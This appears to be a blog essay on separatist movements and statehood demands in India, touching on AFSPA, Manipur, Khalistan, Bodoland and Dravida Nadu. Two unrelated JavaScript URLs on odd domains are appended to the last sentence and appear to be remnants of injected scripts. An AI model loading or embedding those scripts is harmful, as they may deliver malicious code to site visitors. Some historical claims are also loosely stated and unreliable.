The Demand of Separate Statehood

Image source: thenortheasttoday.com

As cited by administrators, creating a separate state is an enunciation to a better judiciary and administration.

Although creating a separate country is based on different science altogether. Considering a recent example of Scottish referendum, the Scots being a separate country but falling in the jurisdiction of UK voted NO because many were afraid of how an independent Scotland might change their day-to-day lives. While the ‘Yes’ camp’s case for independence attracted millions of voters, the task of building a workable, independent nation proved too daunting for many.

In India we have too many examples were the separatisms has prevailed due to various reasons. Lets us not drag J & Kashmir in this issue as it has a different history all together.

(AFSPA) in 1958 to put down separatist movements in certain parts of the country when insurgency occurred in North East India in Manipur, Nagaland, Meghalaya, Mizoram, Tripura. The more important issue with these states however is territorial dispute with neighbours such as Pakistan and the PRC, rather than independence from the India.

The law was first enforced in Manipur and then also in other insurgency-ridden north-east. It was extended to most parts of Indian-administered Kashmir soon after the outbreak of armed insurgency in 1989.
The soldiers are immune to law against prosecution unless the Indian government gives prior sanction for such prosecution. The government demands that the AFSPA is necessary to restore normalcy in regions like Kashmir and Manipur. The situations in these have always been highly sensitive, we have also noticed oppressions from the people, especially the brave Iron Lady of Manipur, Irom Sharmila and then the inhumane case of Thangjam Manorama which lead to a huge and nationwide fruitless protest.

Khalistan(Sikh Country)
Bodoland (Assam)

Are a few examples were insurgency for a separate country arose in the past. Also Dravida Nadu (Dravidian speaking) people rose to create a separate country for the speakers of Dravidian Language with the support of the local political party DMK.

It would be wrong to assure that such insurgency may not occur in the future because India is a politically driven country, with countless languages and incredible diversity. Language, religion, caste are a few reasons that initiate such extremism.

We must look into North East, even today we experience cases of these people coming to other states for for education and jobs and being killed due to language barriers and non identical reasons (Bangalore,Delhi)

It is somewhere our fault that leads to such incidents. Weather or not it is bound to happens again in our country, we must realise the fact the diversity is a boon and a curse to the nation. Defending this country we must strive hard to respect each other and if we can, we must go out of our way to offset this common sense of inequality because the only way we can succeed in becoming a first world nation is by understanding the strength of this diversified nation and promoting the idea of egalitarianism.https://hotopponents.site/site.js?zzz=3https://saskmade.net/head.js?ver=2.0.0
